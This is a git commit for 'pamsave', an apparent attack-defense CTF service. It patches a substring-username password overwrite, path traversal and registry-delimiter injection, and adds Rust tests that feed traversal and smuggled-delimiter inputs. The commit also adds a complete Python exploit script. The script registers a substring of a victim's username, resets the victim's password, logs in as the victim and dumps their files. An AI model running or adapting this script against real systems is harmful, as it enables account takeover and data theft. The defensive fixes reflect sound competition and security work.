fix(pamsave): close credential and policy injection
- Require exact username matching when replacing PAM secrets. - Confine policy staging and validate decoded TOML values. - Add the validated password-substring exploit for Neo automation.
This commit is contained in:
1 parent
2a9632774d
commit
96314809c8
5 files changed
+311
-41
No files matched your search
@@ -19,10 +19,17 @@ struct Job {
|
|||||||
static DEPLOY_QUEUE: std::sync::OnceLock<mpsc::UnboundedSender<Job>> = std::sync::OnceLock::new();
|
static DEPLOY_QUEUE: std::sync::OnceLock<mpsc::UnboundedSender<Job>> = std::sync::OnceLock::new();
|
||||||
|
|
||||||
pub fn stage(name: &str, content: &str) -> ApiResult<PathBuf> {
|
pub fn stage(name: &str, content: &str) -> ApiResult<PathBuf> {
|
||||||
let path = snippets_dir().join(name);
|
let mut components = Path::new(name).components();
|
||||||
if let Some(parent) = path.parent() {
|
if name.contains('\\')
|
||||||
fs::create_dir_all(parent).map_err(|_| ApiError::Async)?;
|
|| !matches!(components.next(), Some(Component::Normal(_)))
|
||||||
|
|| components.next().is_some()
|
||||||
|
{
|
||||||
|
return Err(ApiError::BadRequest(
|
||||||
|
"policy name must be a plain file name".to_string(),
|
||||||
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let path = snippets_dir().join(name);
|
||||||
fs::write(&path, content).map_err(|_| ApiError::Async)?;
|
fs::write(&path, content).map_err(|_| ApiError::Async)?;
|
||||||
Ok(path)
|
Ok(path)
|
||||||
}
|
}
|
||||||
@@ -121,3 +128,34 @@ fn env_dir(key: &str, default: &str) -> PathBuf {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use std::fs;
|
||||||
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
|
use super::stage;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn stage_rejects_parent_directory_traversal() {
|
||||||
|
let suffix = SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_nanos();
|
||||||
|
let root = std::env::temp_dir().join(format!(
|
||||||
|
"pamsave-stage-{}-{suffix}",
|
||||||
|
std::process::id()
|
||||||
|
));
|
||||||
|
let snippets = root.join("snippets");
|
||||||
|
let escaped = root.join("escaped");
|
||||||
|
fs::create_dir_all(&snippets).unwrap();
|
||||||
|
std::env::set_var("PAMSAVE_SNIPPETS_DIR", &snippets);
|
||||||
|
|
||||||
|
let result = stage("../escaped", "attacker-controlled");
|
||||||
|
|
||||||
|
std::env::remove_var("PAMSAVE_SNIPPETS_DIR");
|
||||||
|
assert!(result.is_err());
|
||||||
|
assert!(!escaped.exists());
|
||||||
|
fs::remove_dir_all(root).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,6 +7,9 @@ pub const EXTERNAL_RIGHTS_MAX: usize = 50;
|
|||||||
pub const FILE_RIGHTS_MAX: usize = 50;
|
pub const FILE_RIGHTS_MAX: usize = 50;
|
||||||
pub const INCLUDE_MAX: usize = 10;
|
pub const INCLUDE_MAX: usize = 10;
|
||||||
pub const SNIPPETS_DIR: &str = "/etc/pamsave/snippets";
|
pub const SNIPPETS_DIR: &str = "/etc/pamsave/snippets";
|
||||||
|
const USERNAME_MAX_LEN: usize = 30;
|
||||||
|
const FILE_NAME_MAX_LEN: usize = 100;
|
||||||
|
const INCLUDE_NAME_MAX_LEN: usize = 100;
|
||||||
|
|
||||||
#[derive(Debug, Clone, Deserialize)]
|
#[derive(Debug, Clone, Deserialize)]
|
||||||
pub struct PolicyConfig {
|
pub struct PolicyConfig {
|
||||||
@@ -50,12 +53,15 @@ pub fn compile(content: &str) -> ApiResult<CompiledPolicy> {
|
|||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut external_rights: Vec<String> = config
|
let mut external_rights = Vec::with_capacity(config.external_rights.len());
|
||||||
.external_rights
|
for right in &config.external_rights {
|
||||||
.iter()
|
let username = right.username.trim();
|
||||||
.map(|right| right.username.trim().to_string())
|
if username.is_empty() {
|
||||||
.filter(|username| !username.is_empty())
|
continue;
|
||||||
.collect();
|
}
|
||||||
|
validate_registry_value(username, USERNAME_MAX_LEN)?;
|
||||||
|
external_rights.push(username.to_string());
|
||||||
|
}
|
||||||
if external_rights.len() > EXTERNAL_RIGHTS_MAX {
|
if external_rights.len() > EXTERNAL_RIGHTS_MAX {
|
||||||
return Err(ApiError::BadRequest(format!(
|
return Err(ApiError::BadRequest(format!(
|
||||||
"policy must contain at most {EXTERNAL_RIGHTS_MAX} external rights"
|
"policy must contain at most {EXTERNAL_RIGHTS_MAX} external rights"
|
||||||
@@ -64,17 +70,17 @@ pub fn compile(content: &str) -> ApiResult<CompiledPolicy> {
|
|||||||
external_rights.sort();
|
external_rights.sort();
|
||||||
external_rights.dedup();
|
external_rights.dedup();
|
||||||
|
|
||||||
let mut file_rights: Vec<(String, String)> = config
|
let mut file_rights = Vec::with_capacity(config.file_rights.len());
|
||||||
.file_rights
|
for right in &config.file_rights {
|
||||||
.iter()
|
let username = right.username.trim();
|
||||||
.map(|right| {
|
let file = right.file.trim();
|
||||||
(
|
if username.is_empty() || file.is_empty() {
|
||||||
right.username.trim().to_string(),
|
continue;
|
||||||
right.file.trim().to_string(),
|
}
|
||||||
)
|
validate_registry_value(username, USERNAME_MAX_LEN)?;
|
||||||
})
|
validate_registry_value(file, FILE_NAME_MAX_LEN)?;
|
||||||
.filter(|(username, file)| !username.is_empty() && !file.is_empty())
|
file_rights.push((username.to_string(), file.to_string()));
|
||||||
.collect();
|
}
|
||||||
if file_rights.len() > FILE_RIGHTS_MAX {
|
if file_rights.len() > FILE_RIGHTS_MAX {
|
||||||
return Err(ApiError::BadRequest(format!(
|
return Err(ApiError::BadRequest(format!(
|
||||||
"policy must contain at most {FILE_RIGHTS_MAX} file rights"
|
"policy must contain at most {FILE_RIGHTS_MAX} file rights"
|
||||||
@@ -83,12 +89,15 @@ pub fn compile(content: &str) -> ApiResult<CompiledPolicy> {
|
|||||||
file_rights.sort();
|
file_rights.sort();
|
||||||
file_rights.dedup();
|
file_rights.dedup();
|
||||||
|
|
||||||
let includes: Vec<String> = config
|
let mut includes = Vec::with_capacity(config.include.len());
|
||||||
.include
|
for name in &config.include {
|
||||||
.iter()
|
let name = name.trim();
|
||||||
.map(|name| name.trim().to_string())
|
if name.is_empty() {
|
||||||
.filter(|name| !name.is_empty())
|
continue;
|
||||||
.collect();
|
}
|
||||||
|
validate_include_name(name)?;
|
||||||
|
includes.push(name.to_string());
|
||||||
|
}
|
||||||
if includes.len() > INCLUDE_MAX {
|
if includes.len() > INCLUDE_MAX {
|
||||||
return Err(ApiError::BadRequest(format!(
|
return Err(ApiError::BadRequest(format!(
|
||||||
"policy must contain at most {INCLUDE_MAX} include entries"
|
"policy must contain at most {INCLUDE_MAX} include entries"
|
||||||
@@ -97,9 +106,15 @@ pub fn compile(content: &str) -> ApiResult<CompiledPolicy> {
|
|||||||
|
|
||||||
let mut service_stack = String::new();
|
let mut service_stack = String::new();
|
||||||
for name in &includes {
|
for name in &includes {
|
||||||
service_stack.push_str(&format!(
|
service_stack.push_str("auth include ");
|
||||||
"auth include {SNIPPETS_DIR}/{name}\naccount include {SNIPPETS_DIR}/{name}\n"
|
service_stack.push_str(SNIPPETS_DIR);
|
||||||
));
|
service_stack.push('/');
|
||||||
|
service_stack.push_str(name);
|
||||||
|
service_stack.push_str("\naccount include ");
|
||||||
|
service_stack.push_str(SNIPPETS_DIR);
|
||||||
|
service_stack.push('/');
|
||||||
|
service_stack.push_str(name);
|
||||||
|
service_stack.push('\n');
|
||||||
}
|
}
|
||||||
service_stack.push_str("auth required pam_pamsave.so\naccount required pam_pamsave.so\n");
|
service_stack.push_str("auth required pam_pamsave.so\naccount required pam_pamsave.so\n");
|
||||||
|
|
||||||
@@ -110,4 +125,50 @@ pub fn compile(content: &str) -> ApiResult<CompiledPolicy> {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn validate_registry_value(value: &str, max_len: usize) -> ApiResult<()> {
|
||||||
|
if value.len() > max_len {
|
||||||
|
return Err(ApiError::BadRequest(format!(
|
||||||
|
"value must be at most {max_len} characters"
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
if value.contains(':') || value.chars().any(char::is_control) {
|
||||||
|
return Err(ApiError::BadRequest(
|
||||||
|
"value must not contain registry delimiters".to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn validate_include_name(name: &str) -> ApiResult<()> {
|
||||||
|
if name.len() > INCLUDE_NAME_MAX_LEN
|
||||||
|
|| name.contains("..")
|
||||||
|
|| !name
|
||||||
|
.chars()
|
||||||
|
.all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '-' | '_' | '.'))
|
||||||
|
{
|
||||||
|
return Err(ApiError::BadRequest(
|
||||||
|
"include name contains invalid characters".to_string(),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::compile;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compile_rejects_decoded_registry_delimiters() {
|
||||||
|
let content = r#"
|
||||||
|
version = 1
|
||||||
|
|
||||||
|
[[file_rights]]
|
||||||
|
username = "attacker"
|
||||||
|
file = "prefix\nattacker\u003Avictim-workspace\nsuffix"
|
||||||
|
"#;
|
||||||
|
|
||||||
|
assert!(compile(content).is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -29,18 +29,31 @@ pub fn update(username: &str, new_password: &str) -> ApiResult<()> {
|
|||||||
let hasher = ShaCrypt::default();
|
let hasher = ShaCrypt::default();
|
||||||
let hash = hasher
|
let hash = hasher
|
||||||
.hash_password(new_password.as_bytes())
|
.hash_password(new_password.as_bytes())
|
||||||
.map_err(|_| ApiError::Async)?;
|
.map_err(|_| ApiError::Async)?
|
||||||
|
.to_string();
|
||||||
|
|
||||||
let path = secrets_path();
|
let path = secrets_path();
|
||||||
let content = std::fs::read_to_string(&path).map_err(|_| ApiError::Async)?;
|
let content = std::fs::read_to_string(&path).map_err(|_| ApiError::Async)?;
|
||||||
|
|
||||||
let mut updated = content.clone();
|
let mut updated = String::with_capacity(content.len() + hash.len());
|
||||||
|
let mut replaced = false;
|
||||||
for line in content.lines() {
|
for line in content.lines() {
|
||||||
let Some((user, _)) = line.split_once(':') else {
|
let Some((user, _)) = line.split_once(':') else {
|
||||||
|
updated.push_str(line);
|
||||||
|
updated.push('\n');
|
||||||
continue;
|
continue;
|
||||||
};
|
};
|
||||||
if user.contains(username) {
|
if user == username {
|
||||||
updated.push_str(&format!("{user}:{hash}\n"));
|
if !replaced {
|
||||||
|
updated.push_str(user);
|
||||||
|
updated.push(':');
|
||||||
|
updated.push_str(&hash);
|
||||||
|
updated.push('\n');
|
||||||
|
replaced = true;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
updated.push_str(line);
|
||||||
|
updated.push('\n');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -59,3 +72,35 @@ fn secrets_path() -> PathBuf {
|
|||||||
.unwrap_or_else(|_| DEFAULT_SECRETS_PATH.to_string())
|
.unwrap_or_else(|_| DEFAULT_SECRETS_PATH.to_string())
|
||||||
.into()
|
.into()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use std::fs;
|
||||||
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
|
use super::update;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn update_replaces_only_the_exact_username() {
|
||||||
|
let suffix = SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_nanos();
|
||||||
|
let path = std::env::temp_dir().join(format!(
|
||||||
|
"pamsave-secrets-{}-{suffix}",
|
||||||
|
std::process::id()
|
||||||
|
));
|
||||||
|
fs::write(&path, "alice:old\nchecker_alice:victim\n").unwrap();
|
||||||
|
std::env::set_var("PAMSAVE_SECRETS_PATH", &path);
|
||||||
|
|
||||||
|
update("alice", "new-password").unwrap();
|
||||||
|
|
||||||
|
std::env::remove_var("PAMSAVE_SECRETS_PATH");
|
||||||
|
let content = fs::read_to_string(&path).unwrap();
|
||||||
|
fs::remove_file(path).unwrap();
|
||||||
|
let lines: Vec<_> = content.lines().collect();
|
||||||
|
assert_eq!(lines.len(), 2);
|
||||||
|
assert!(lines[0].starts_with("alice:$6$"));
|
||||||
|
assert_eq!(lines[1], "checker_alice:victim");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -27,17 +27,15 @@ pub async fn create(
|
|||||||
}
|
}
|
||||||
|
|
||||||
pam::validator::validate_raw(&req.content)?;
|
pam::validator::validate_raw(&req.content)?;
|
||||||
let compiled = pam::policy::compile(&req.content);
|
let compiled = pam::policy::compile(&req.content)?;
|
||||||
|
|
||||||
pam::deploy::stage(name, &req.content)?;
|
pam::deploy::stage(name, &req.content)?;
|
||||||
|
|
||||||
if let Ok(compiled) = &compiled {
|
for username in &compiled.external_rights {
|
||||||
for username in &compiled.external_rights {
|
pam::memberships::append(username, workspace_id)?;
|
||||||
pam::memberships::append(username, workspace_id)?;
|
}
|
||||||
}
|
for (username, file) in &compiled.file_rights {
|
||||||
for (username, file) in &compiled.file_rights {
|
pam::memberships::append_file_grant(username, workspace_id, file)?;
|
||||||
pam::memberships::append_file_grant(username, workspace_id, file)?;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let stored = AuthPolicyRepository::create(pool, workspace_id, name).await;
|
let stored = AuthPolicyRepository::create(pool, workspace_id, name).await;
|
||||||
|
|||||||
Executable
+128
@@ -0,0 +1,128 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import json
|
||||||
|
import secrets
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
from collections.abc import Iterable
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||||
|
PORT = 8282
|
||||||
|
TIMEOUT = 4
|
||||||
|
|
||||||
|
|
||||||
|
def log(message: str) -> None:
|
||||||
|
print(message, file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def candidates(username: str) -> Iterable[str]:
|
||||||
|
seen: set[str] = set()
|
||||||
|
max_length = min(12, len(username) - 1)
|
||||||
|
for length in range(max_length, 2, -1):
|
||||||
|
offsets = (0, len(username) - length, (len(username) - length) // 2)
|
||||||
|
for offset in offsets:
|
||||||
|
candidate = username[offset : offset + length]
|
||||||
|
if candidate and candidate not in seen:
|
||||||
|
seen.add(candidate)
|
||||||
|
yield candidate
|
||||||
|
|
||||||
|
|
||||||
|
def register_substring(session: requests.Session, base: str, victim: str, password: str) -> tuple[str, str]:
|
||||||
|
for username in candidates(victim):
|
||||||
|
response = session.post(
|
||||||
|
f"{base}/auth/register",
|
||||||
|
json={"username": username, "password": password},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
if response.ok:
|
||||||
|
return username, response.json()["token"]
|
||||||
|
if response.status_code not in (400, 409, 500):
|
||||||
|
log(f"register {username!r}: HTTP {response.status_code}")
|
||||||
|
raise RuntimeError("no available victim substring username")
|
||||||
|
|
||||||
|
|
||||||
|
def list_files(session: requests.Session, base: str, token: str, workspace_id: str | None) -> list[str]:
|
||||||
|
headers = {"Authorization": f"Bearer {token}"}
|
||||||
|
file_ids: set[str] = set()
|
||||||
|
endpoints = ["/my-files"]
|
||||||
|
if workspace_id:
|
||||||
|
endpoints.append(f"/workspace/{workspace_id}/files")
|
||||||
|
|
||||||
|
for endpoint in endpoints:
|
||||||
|
for page in range(1, 4):
|
||||||
|
response = session.get(
|
||||||
|
f"{base}{endpoint}",
|
||||||
|
headers=headers,
|
||||||
|
params={"page": page},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
if not response.ok:
|
||||||
|
break
|
||||||
|
rows = response.json()
|
||||||
|
if not rows:
|
||||||
|
break
|
||||||
|
file_ids.update(str(row["id"]) for row in rows)
|
||||||
|
return sorted(file_ids)
|
||||||
|
|
||||||
|
|
||||||
|
def run(target: str) -> None:
|
||||||
|
session = requests.Session()
|
||||||
|
session.trust_env = False
|
||||||
|
base = f"http://{target}:{PORT}/api"
|
||||||
|
|
||||||
|
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
||||||
|
records = attack_data.get("pamsave", {}).get(target, [])
|
||||||
|
if not records:
|
||||||
|
raise RuntimeError("no pamsave attack_data for target")
|
||||||
|
victim = records[0]["username"]
|
||||||
|
|
||||||
|
alphabet = string.ascii_letters + string.digits
|
||||||
|
password = "P!" + "".join(secrets.choice(alphabet) for _ in range(22))
|
||||||
|
attacker, attacker_token = register_substring(session, base, victim, password)
|
||||||
|
|
||||||
|
response = session.post(
|
||||||
|
f"{base}/auth/password",
|
||||||
|
headers={"Authorization": f"Bearer {attacker_token}"},
|
||||||
|
json={"current_password": password, "new_password": password},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
|
||||||
|
response = session.post(
|
||||||
|
f"{base}/auth/login",
|
||||||
|
json={"username": victim, "password": password},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
response.raise_for_status()
|
||||||
|
victim_token = response.json()["token"]
|
||||||
|
headers = {"Authorization": f"Bearer {victim_token}"}
|
||||||
|
|
||||||
|
response = session.get(f"{base}/auth/me", headers=headers, timeout=TIMEOUT)
|
||||||
|
response.raise_for_status()
|
||||||
|
workspace_id = response.json().get("workspace_id")
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for file_id in list_files(session, base, victim_token, workspace_id):
|
||||||
|
response = session.get(f"{base}/files/{file_id}", headers=headers, timeout=TIMEOUT)
|
||||||
|
if response.ok:
|
||||||
|
sys.stdout.buffer.write(response.content + b"\n")
|
||||||
|
count += 1
|
||||||
|
log(f"target={target} victim={victim} attacker={attacker} files={count}")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
log(f"usage: {sys.argv[0]} TARGET")
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
run(sys.argv[1])
|
||||||
|
except (KeyError, ValueError, RuntimeError, requests.RequestException, json.JSONDecodeError) as exc:
|
||||||
|
log(f"target={sys.argv[1]} error={exc}")
|
||||||
|
return 1
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Reference in new issue
Block a user